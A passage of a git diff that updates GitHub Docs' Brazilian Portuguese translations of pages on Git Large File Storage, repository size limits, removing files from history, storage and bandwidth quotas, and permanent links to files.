+Recomendamos que repositórios permaneçam pequenos, idealmente inferior a 1 GB, e o tamanho inferior a 1 GB é altamente recomendado. Os repositórios menores são mais rápidos de clonar e são mais fáceis de trabalhar com e manter. Se o seu repositório impactar excessivamente a nossa infraestrutura, você pode receber um e-mail do {% data variables.contact.github_support %} pedindo para tomar medidas corretivas. Tentamos ser flexíveis, especialmente com grandes projetos que têm muitos colaboradores e trabalharemos com você para encontrar uma resolução sempre que possível. Você pode impedir que seu repositório afete nossa infraestrutura gerenciando efetivamente o tamanho e a saúde geral do seu repositório. É possível encontrar aconselhamento e uma ferramenta para análise de repositórios no repositório [`github/git-sizer`](https://github.com/github/git-sizer).
 
-External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources.
+As dependências externas podem fazer com que os repositórios do Git se tornem muito grandes. Para evitar o preenchimento de um repositório com dependências externas, recomendamos o uso de um gerenciador de pacotes. Os gerenciados de pacote populares para linguagens comuns incluem [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/) e [Maven](http://maven.apache.org/). Estes gerenciadores de pacotes são compatíveis com o uso direto dos repositórios do Git. Portanto, você não precisa de fontes pré-empacotadas.
 
-Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/).
+O Git não foi projetado para servir como ferramenta de backup. No entanto, existem muitas soluções especificamente projetadas para executar backups, como [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/) e [CrashPlan](https://www.crashplan.com/en-us/).
 {% endif %}
 
-## Removing files from a repository's history
+## Remover arquivos do histórico do repositório
 
 {% warning %}
 
-**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.product.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository.
+**Aviso**: estes procedimentos removem definitivamente os arquivos do repositório no computador e no {% data variables.product.product_location %}. Se o arquivo for importante, faça uma cópia de backup local em um diretório fora do repositório.
 
 {% endwarning %}
 
-### Removing a file added in the most recent unpushed commit
+### Remover um arquivo adicionado ao commit não processado mais recente
 
-If the file was added with your most recent commit, and you have not pushed to {% data variables.product.product_location %}, you can delete the file and amend the commit:
+Se o arquivo foi adicionado ao commit mais recente e ainda não foi processado no {% data variables.product.product_location %}, você poderá excluir o arquivo e corrigir o commit:
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.switching_directories_procedural %}
-3. To remove the file, enter `git rm --cached`:
+3. Para remover o arquivo, insira `git rm --cached`:
   ```shell
   $ git rm --cached <em>giant_file</em>
   # Stage our giant file for removal, but leave it on disk
   ```
-4. Commit this change using `--amend -CHEAD`:
+4. Faça o commit da alteração usando `--amend -CHEAD`:
   ```shell
   $ git commit --amend -CHEAD
   # Amend the previous commit with your change
   # Simply making a new commit won't work, as you need
   # to remove the file from the unpushed history as well
   ```
-5. Push your commits to {% data variables.product.product_location %}:
+5. Faça push dos commits para {% data variables.product.product_location %}:
   ```shell
   $ git push
   # Push our rewritten, smaller commit
   ```
 
-### Removing a file that was added in an earlier commit
+### Remover um arquivo adicionado em um commit anterior
 
-If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)."
+Se você adicionou um arquivo em um commit anterior, você deverá removê-lo do histórico do repositório. Para remover arquivos do histórico do repositório, você pode usar o comando BFG Repo-Cleaner ou o `git filter-branch`. Para obter mais informações, consulte "[Remover dados confidenciais de um repositório](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)".
 
-## Distributing large binaries
+## Distribuir binários grandes
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)."
+Se você precisar distribuir arquivos grandes dentro do seu repositório, você poderá criar versões no {% data variables.product.product_location %}. As versões permitem que você empacote software, notas de versão e links para arquivos binários para que outras pessoas possam usar. Para mais informações, acesse "[Sobre as versões](/github/administering-a-repository/about-releases)".
 
 {% ifversion fpt or ghec %}
 
-We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}.
+Não limitamos o tamanho total dos arquivos binários na versão ou a banda larga usada para entregá-los. No entanto, cada arquivo deve ser menor que {% data variables.large_files.max_lfs_size %}.
 
 {% endif %}
 
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
index d8b8b08de9..120eafe2b3 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
@@ -1,5 +1,5 @@
 ---
-title: About storage and bandwidth usage
+title: Sobre o uso de armazenamento e largura de banda
 intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}'
 redirect_from:
   - /articles/billing-plans-for-large-file-storage
@@ -10,40 +10,50 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Storage & bandwidth
+shortTitle: Armazenamento & banda
 ---
-{% data variables.large_files.product_name_short %} is available for every repository on {% data variables.product.product_name %}, whether or not your account or organization has a paid subscription.
 
-## Tracking storage and bandwidth use
+O {% data variables.large_files.product_name_short %} está disponível para cada repositório do {% data variables.product.product_name %}, sua conta ou organização tendo ou não uma assinatura paga.
 
-When you commit and push a change to a file tracked with {% data variables.large_files.product_name_short %}, a new version of the entire file is pushed and the total file size is counted against the repository owner's storage limit. When you download a file tracked with {% data variables.large_files.product_name_short %}, the total file size is counted against the repository owner's bandwidth limit. {% data variables.large_files.product_name_short %} uploads do not count against the bandwidth limit.
+## Rastrear o uso de armazenamento e largura de banda
 
-For example:
-- If you push a 500 MB file to {% data variables.large_files.product_name_short %}, you'll use 500 MB of your allotted storage and none of your bandwidth. If you make a 1 byte change and push the file again, you'll use another 500 MB of storage and no bandwidth, bringing your total usage for these two pushes to 1 GB of storage and zero bandwidth.
-- If you download a 500 MB file that's tracked with LFS, you'll use 500 MB of the repository owner's allotted bandwidth. If a collaborator pushes a change to the file and you pull the new version to your local repository, you'll use another 500 MB of bandwidth, bringing the total usage for these two downloads to 1 GB of bandwidth.
-- If {% data variables.product.prodname_actions %} downloads a 500 MB file that is tracked with LFS, it will use 500 MB of the repository owner's allotted bandwidth.
+Quando você faz commit e push de uma alteração em um arquivo rastreado com o {% data variables.large_files.product_name_short %}, é feito push de uma nova versão de todo o arquivo e o tamanho total do arquivo é contado no limite de armazenamento do proprietário do repositório. Quando você baixa um arquivo rastreado com o {% data variables.large_files.product_name_short %}, o tamanho total do arquivo é contado no limite da largura de banda do proprietário do repositório. Os uploads do {% data variables.large_files.product_name_short %} não contam no limite de largura de banda.
+
+Por exemplo:
+- Se você fizer push de um arquivo de 500 MB no {% data variables.large_files.product_name_short %}, serão usados 500 MB do armazenamento alocado e nada da largura de banda. Se você fizer uma alteração de 1 byte e fizer push do arquivo novamente, serão usados outros 500 MB do armazenamento e nada a largura de banda, totalizando 1 GB de uso total do armazenamento e zero de largura de banda para esses dois pushes.
+- Se você baixar um arquivo de 500 MB que é rastreado com o LFS, serão usados 500 MB da largura de banda alocada do proprietário do repositório. Se um colaborador fizer push de uma alteração no arquivo e você fizer pull da nova versão no repositório local, serão usados outros 500 MB de largura de banda, totalizando 1 GB de uso total da largura de banda para esses dois downloads.
+- Se {% data variables.product.prodname_actions %} fizer o download de um arquivo de 500 MB rastreado com LFS, ele usará 500 MB da largura de banda atribuída pelo proprietário do repositório.
 
 {% ifversion fpt or ghec %}
-If {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in source code archives for your repository, downloads of those archives will count towards bandwidth usage for the repository. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+Se {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) os objetos forem incluídos nos arquivos de código-fonte para o seu repositório, os downloads desses arquivos contarão para o uso de largura de banda para o repositório. Para obter mais informações, consulte "
+[Gerenciando {% data variables.large_files.product_name_short %} objetos nos arquivos de seu repositório](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)". </p> 
+
 {% endif %}
 
 {% tip %}
 
-**Tips**:
+**Dicas**:
+
 - {% data reusables.large_files.owner_quota_only %}
 - {% data reusables.large_files.does_not_carry %}
 
 {% endtip %}
 
-## Storage quota
 
-If you use more than {% data variables.large_files.initial_storage_quota %} of storage without purchasing a data pack, you can still clone repositories with large assets, but you will only retrieve the pointer files, and you will not be able to push new files back up. For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
 
-## Bandwidth quota
+## Cota de armazenamento
 
-If you use more than {% data variables.large_files.initial_bandwidth_quota %} of bandwidth per month without purchasing a data pack, {% data variables.large_files.product_name_short %} support is disabled on your account until the next month.
+Se você usar mais de {% data variables.large_files.initial_storage_quota %} de armazenamento sem comprar um pacote de dados, ainda será possível clonar repositórios com ativos grandes, mas será possível recuperar apenas os arquivos de ponteiro, não sendo possível fazer push do backup de novos arquivos. Para obter mais informações sobre arquivos de ponteiro, consulte "[Sobre o {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)".
 
-## Further reading
 
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Managing billing for {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)"
+
+## Cota de largura de banda
+
+Se você usar mais de {% data variables.large_files.initial_bandwidth_quota %} de largura de banda por mês sem comprar um pacote de dados, o suporte do {% data variables.large_files.product_name_short %} será desabilitado na sua conta até o próximo mês.
+
+
+
+## Leia mais
+
+- "[Exibir o uso do {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)"
+- "[Gerenciar cobrança do {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
index f1cd37622a..c9c7c7c32b 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Collaboration with Git Large File Storage
-intro: 'With {% data variables.large_files.product_name_short %} enabled, you''ll be able to fetch, modify, and push large files just as you would expect with any file that Git manages. However, a user that doesn''t have {% data variables.large_files.product_name_short %} will experience a different workflow.'
+title: Colaboração com o Git Large File Storage
+intro: 'Com o {% data variables.large_files.product_name_short %} habilitado, você poderá fazer fetch, modificar e fazer push de arquivos grandes, assim como em qualquer arquivo gerenciado pelo Git. No entanto, um usuário que não tem o {% data variables.large_files.product_name_short %} verá um fluxo de trabalho diferente.'
 redirect_from:
   - /articles/collaboration-with-large-file-storage
   - /articles/collaboration-with-git-large-file-storage
@@ -11,36 +11,37 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Collaboration
+shortTitle: Colaboração
 ---
-If collaborators on your repository don't have {% data variables.large_files.product_name_short %} installed, they won't have access to the original large file. If they attempt to clone your repository, they will only fetch the pointer files, and won't have access to any of the actual data.
+
+Se os colaboradores no seu repositório não tiverem o {% data variables.large_files.product_name_short %} instalado, eles não terão acesso ao arquivo grande original. Se tentarem clonar o repositório, eles farão fetch apenas dos arquivos de ponteiro e não terão acesso aos dados reais.
 
 {% tip %}
 
-**Tip:** To help users without {% data variables.large_files.product_name_short %} enabled, we recommend you set guidelines for repository contributors that describe how to work with large files. For example, you may ask contributors not to modify large files, or to upload changes to a file sharing service like [Dropbox](http://www.dropbox.com/) or <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a>. For more information, see "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)."
+**Dica:** para ajudar os usuários sem o {% data variables.large_files.product_name_short %} habilitado, é recomendável definir diretrizes para contribuidores do repositório que descrevam como trabalhar com arquivos grandes. Por exemplo, você pode pedir que os contribuidores não modifiquem arquivos grandes nem façam upload das alterações em um serviço de compartilhamento de arquivos, como [Dropbox](http://www.dropbox.com/) ou <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a>. Para obter mais informações, consulte "[Configurar diretrizes para contribuidores de repositório](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)".
 
 {% endtip %}
 
-## Viewing large files in pull requests
+## Exibir arquivos grandes em pull requests
 
-{% data variables.product.product_name %} does not render {% data variables.large_files.product_name_short %} objects in pull requests. Only the pointer file is shown:
+O {% data variables.product.product_name %} não renderiza objetos do {% data variables.large_files.product_name_short %} em pull requests. Apenas o arquivo de ponteiro é mostrado:
 
-![Sample PR for large files](/assets/images/help/large_files/large_files_pr.png)
+![Amostra de PR para arquivos grandes](/assets/images/help/large_files/large_files_pr.png)
 
-For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
+Para obter mais informações sobre arquivos de ponteiro, consulte "[Sobre o {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)".
 
-To view changes made to large files, check out the pull request locally to review the diff. For more information, see "[Checking out pull requests locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+Para ver as alterações feitas em arquivos grandes, confira o pull request localmente para revisar a diferença. Para obter mais informações, consulte "[Fazer checkout de pull requests localmente](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)".
 
 {% ifversion fpt or ghec %}
 
-## Pushing large files to forks
+## Fazer push de arquivos grandes em bifurcações
 
-Pushing large files to forks of a repository count against the parent repository's bandwidth and storage quotas, rather than the quotas of the fork owner.
+Fazer push de arquivos grandes em bifurcações de um repositório conta nas cotas de armazenamento e na largura de banda do repositório principal, e não nas cotas do proprietário da bifurcação.
 
-You can push {% data variables.large_files.product_name_short %} objects to public forks if the repository network already has {% data variables.large_files.product_name_short %} objects or you have write access to the root of the repository network.
+É possível fazer push de objetos do {% data variables.large_files.product_name_short %} em bifurcações públicas se a rede do repositório já tiver objetos do {% data variables.large_files.product_name_short %} ou se você tiver acesso de gravação à raiz da rede do repositório.
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Duplicating a repository with Git Large File Storage objects](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
+- "[Duplicar um repositório com objetos do Git Large File Storage](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
index 6569c30f30..466df0d446 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git Large File Storage
-intro: 'Once [{% data variables.large_files.product_name_short %} is installed](/articles/installing-git-large-file-storage/), you need to associate it with a large file in your repository.'
+title: Configurar o GitLarge File Storage
+intro: 'Assim que o [{% data variables.large_files.product_name_short %} estiver instalado](/articles/installing-git-large-file-storage/), você precisará associá-lo a um arquivo grande no seu repositório.'
 redirect_from:
   - /articles/configuring-large-file-storage
   - /articles/configuring-git-large-file-storage
@@ -11,9 +11,10 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Configure Git LFS
+shortTitle: Configurar o LFS do Git
 ---
-If there are existing files in your repository that you'd like to use {% data variables.product.product_name %} with, you need to first remove them from the repository and then add them to {% data variables.large_files.product_name_short %} locally. For more information, see "[Moving a file in your repository to {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)."
+
+Se houver arquivos no seu repositório com os quais deseja usar o {% data variables.product.product_name %}, você precisará primeiramente removê-los do repositório e, em seguida, adicioná-los ao {% data variables.large_files.product_name_short %} no local. Para obter mais informações, consulte "[Mover um arquivo do repositório para o {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)".
 
 {% data reusables.large_files.resolving-upload-failures %}
 
@@ -21,46 +22,46 @@ If there are existing files in your repository that you'd like to use {% data va
 
 {% tip %}
 
-**Note:** Before trying to push a large file to {% data variables.product.product_name %}, make sure that you've enabled {% data variables.large_files.product_name_short %} on your enterprise. For more information, see "[Configuring Git Large File Storage on GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)."
+**Observação:** antes de tentar fazer push de um arquivo grande no {% data variables.product.product_name %}, certifique-se de que habilitou o {% data variables.large_files.product_name_short %} no seu aplicativo. Para obter mais informações, consulte "[Configurar o Git Large File Storage no GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)".
 
 {% endtip %}
 
 {% endif %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change your current working directory to an existing repository you'd like to use with {% data variables.large_files.product_name_short %}.
-3. To associate a file type in your repository with {% data variables.large_files.product_name_short %}, enter `git {% data variables.large_files.command_name %} track` followed by the name of the file extension you want to automatically upload to {% data variables.large_files.product_name_short %}.
+2. Altere o diretório de trabalho atual para um repositório existente que deseja usar com o {% data variables.large_files.product_name_short %}.
+3. Para associar um tipo de arquivo no repositório ao {% data variables.large_files.product_name_short %}, digite `git {% data variables.large_files.command_name %} track` seguido pelo nome da extensão do arquivo do qual deseja fazer upload automaticamente no {% data variables.large_files.product_name_short %}.
 
-  For example, to associate a _.psd_ file, enter the following command:
+  Por exemplo, para associar um arquivo _.psd_, digite o seguinte comando:
   ```shell
   $ git {% data variables.large_files.command_name %} track "*.psd"
   > Adding path *.psd
   ```
-  Every file type you want to associate with {% data variables.large_files.product_name_short %} will need to be added with `git {% data variables.large_files.command_name %} track`. This command amends your repository's *.gitattributes* file and associates large files with {% data variables.large_files.product_name_short %}.
+  Cada tipo de arquivo que desejar associar ao {% data variables.large_files.product_name_short %} precisará ser adicionado com `git {% data variables.large_files.command_name %} track`. Esse comando corrige o arquivo *.gitattributes* do repositório e associa arquivos grandes ao {% data variables.large_files.product_name_short %}.
 
   {% tip %}
 
-  **Tip:** We strongly suggest that you commit your local *.gitattributes* file into your repository. Relying on a global *.gitattributes* file associated with {% data variables.large_files.product_name_short %} may cause conflicts when contributing to other Git projects.
+  **Dica:** sugerimos enfaticamente que você faça commit do arquivo *.gitattributes* local no repositório. Depender de um arquivo *.gitattributes* global associado ao {% data variables.large_files.product_name_short %} pode causar conflitos durante a contribuição com outros projetos do Git.
 
   {% endtip %}
 
-4. Add a file to the repository matching the extension you've associated:
+4. Adicione um arquivo ao repositório correspondente à extensão associada:
   ```shell
   $ git add path/to/file.psd
   ```
-5. Commit the file and push it to {% data variables.product.product_name %}:
+5. Faça commit do arquivo e faça push dele no {% data variables.product.product_name %}:
   ```shell
   $ git commit -m "add file.psd"
-  $ git push
+  $ git push origin master
   ```
-  You should see some diagnostic information about your file upload:
+  Você deve ver algumas informações de diagnóstico sobre o upload do arquivo:
   ```shell
   > Sending file.psd
   > 44.74 MB / 81.04 MB  55.21 % 14s
   > 64.74 MB / 81.04 MB  79.21 % 3s
   ```
 
-## Further reading
+## Leia mais
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
-- "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
+- "[Colaboração com {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
+- "[Gerenciando {% data variables.large_files.product_name_short %} objetos nos arquivos de seu repositório](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
diff --git a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
index 744ea932b5..6e16e50932 100644
--- a/translations/pt-BR/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
+++ b/translations/pt-BR/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Installing Git Large File Storage
-intro: 'In order to use {% data variables.large_files.product_name_short %}, you''ll need to download and install a new program that''s separate from Git.'
+title: Instalar o Git Large File Storage
+intro: 'Para usar o {% data variables.large_files.product_name_short %}, você precisará baixar e instalar um novo programa separado do Git.'
 redirect_from:
   - /articles/installing-large-file-storage
   - /articles/installing-git-large-file-storage
@@ -11,106 +11,107 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Install Git LFS
+shortTitle: Install o LFS do Git
 ---
+
 {% mac %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**. Alternatively, you can install {% data variables.large_files.product_name_short %} using a package manager:
-    - To use [Homebrew](http://brew.sh/), run `brew install git-lfs`.
-    - To use [MacPorts](https://www.macports.org/), run `port install git-lfs`.
+1. Navegue para [git-lfs.github.com](https://git-lfs.github.com) e clique em **Download** (Baixar). Como alternativa, é possível instalar o {% data variables.large_files.product_name_short %} usando um gerenciador de pacotes:
+    - Para usar o [Homebrew](http://brew.sh/), execute `brew install git-lfs`.
+    - Para usar o [MacPorts](https://www.macports.org/), execute `port install git-lfs`.
 
- If you install {% data variables.large_files.product_name_short %} with Homebrew or MacPorts, skip to step six.
+ Se você instalar o {% data variables.large_files.product_name_short %} com Homebrew ou MacPorts, passe para a etapa 6.
 
-2. On your computer, locate and unzip the downloaded file.
+2. Em seu computador, localize e descompacte o arquivo que foi baixado.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. Mude o diretório de trabalho atual para o folder que você baixou e descompactou.
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **Observação:** o caminho do arquivo que você usa depois de `cd` depende de seu sistema operacional, da versão do Git que você baixou e de onde você salvou o download do {% data variables.large_files.product_name_short %}.
 
  {% endnote %}
-4. To install the file, run this command:
+4. Para instalar o arquivo, execute este comando:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **Observação:** é possível que você tenha que usar `sudo ./install.sh` para instalar o arquivo.
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. Verifique se a instalação foi bem-sucedida:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Caso não veja a mensagem indicando que o `git {% data variables.large_files.command_name %} install` teve êxito, entre em contato com {% data variables.contact.contact_support %}. Certifique-se de incluir o nome de seu sistema operacional.
 
 {% endmac %}
 
 {% windows %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. Navegue para [git-lfs.github.com](https://git-lfs.github.com) e clique em **Download** (Baixar).
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Windows, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **Dica:** para obter mais informações sobre alternativas para instalar o {% data variables.large_files.product_name_short %} para Windows, consulte este [Guia de introdução](https://github.com/github/git-lfs#getting-started).
 
   {% endtip %}
-2. On your computer, locate the downloaded file.
-3. Double click on the file called *git-lfs-windows-1.X.X.exe*, where 1.X.X is replaced with the Git LFS version you downloaded. When you open this file Windows will run a setup wizard to install {% data variables.large_files.product_name_short %}.
+2. Em seu computador, localize o arquivo que foi baixado.
+3. Clique duas vezes sobre o arquivo denominado *git-lfs-windows-1.X.X.exe*, onde 1.X.X é substituído pela versão Git LFS que você baixou. Quando você abrir esse arquivo, o Windows executará um assistente de configuração para instalar o {% data variables.large_files.product_name_short %}.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-5. Verify that the installation was successful:
+5. Verifique se a instalação foi bem-sucedida:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Caso não veja a mensagem indicando que o `git {% data variables.large_files.command_name %} install` teve êxito, entre em contato com {% data variables.contact.contact_support %}. Certifique-se de incluir o nome de seu sistema operacional.
 
 {% endwindows %}
 
 {% linux %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. Navegue para [git-lfs.github.com](https://git-lfs.github.com) e clique em **Download** (Baixar).
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Linux, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **Dica:** para obter mais informações sobre alternativas para instalar o {% data variables.large_files.product_name_short %} para Linux, consulte este [Guia de introdução](https://github.com/github/git-lfs#getting-started).
 
   {% endtip %}
-2. On your computer, locate and unzip the downloaded file.
+2. Em seu computador, localize e descompacte o arquivo que foi baixado.
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. Mude o diretório de trabalho atual para o folder que você baixou e descompactou.
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **Observação:** o caminho do arquivo que você usa depois de `cd` depende de seu sistema operacional, da versão do Git que você baixou e de onde você salvou o download do {% data variables.large_files.product_name_short %}.
 
  {% endnote %}
-4. To install the file, run this command:
+4. Para instalar o arquivo, execute este comando:
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **Observação:** é possível que você tenha que usar `sudo ./install.sh` para instalar o arquivo.
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. Verifique se a instalação foi bem-sucedida:
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. Caso não veja a mensagem indicando que o `git {% data variables.large_files.command_name %} install` teve êxito, entre em contato com {% data variables.contact.contact_support %}. Certifique-se de incluir o nome de seu sistema operacional.
 
 {% endlinux %}
 
-## Further reading
+## Leia mais
 
-- "[Configuring {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
+- "[Configurar o {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
diff --git a/translations/pt-BR/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/pt-BR/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
index e634289eb4..b6b1b2e313 100644
--- a/translations/pt-BR/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
+++ b/translations/pt-BR/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -1,6 +1,6 @@
 ---
-title: Getting permanent links to files
-intro: 'When viewing a file on {% data variables.product.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.'
+title: Links permanentes em arquivos
+intro: 'Ao visualizar um arquivo em {% data variables.product.product_location %}, é possível pressionar a tecla "y" para atualizar a URL para um permalink com a versão exata do arquivo visualizado.'
 redirect_from:
   - /articles/getting-a-permanent-link-to-a-file
   - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url
@@ -14,44 +14,45 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Permanent links to files
+shortTitle: Links permanentes para arquivos
 ---
-{% tip %}
-
-**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts.
-
-{% endtip %}
-
-## File views show the latest version on a branch
-
-When viewing a file on {% data variables.product.product_location %}, you usually see the version at the current head of a branch.  For example:
-
-* [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md)
-
-refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file.
-
-The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
-
-## Press <kbd>y</kbd> to permalink to a file in a specific commit
-
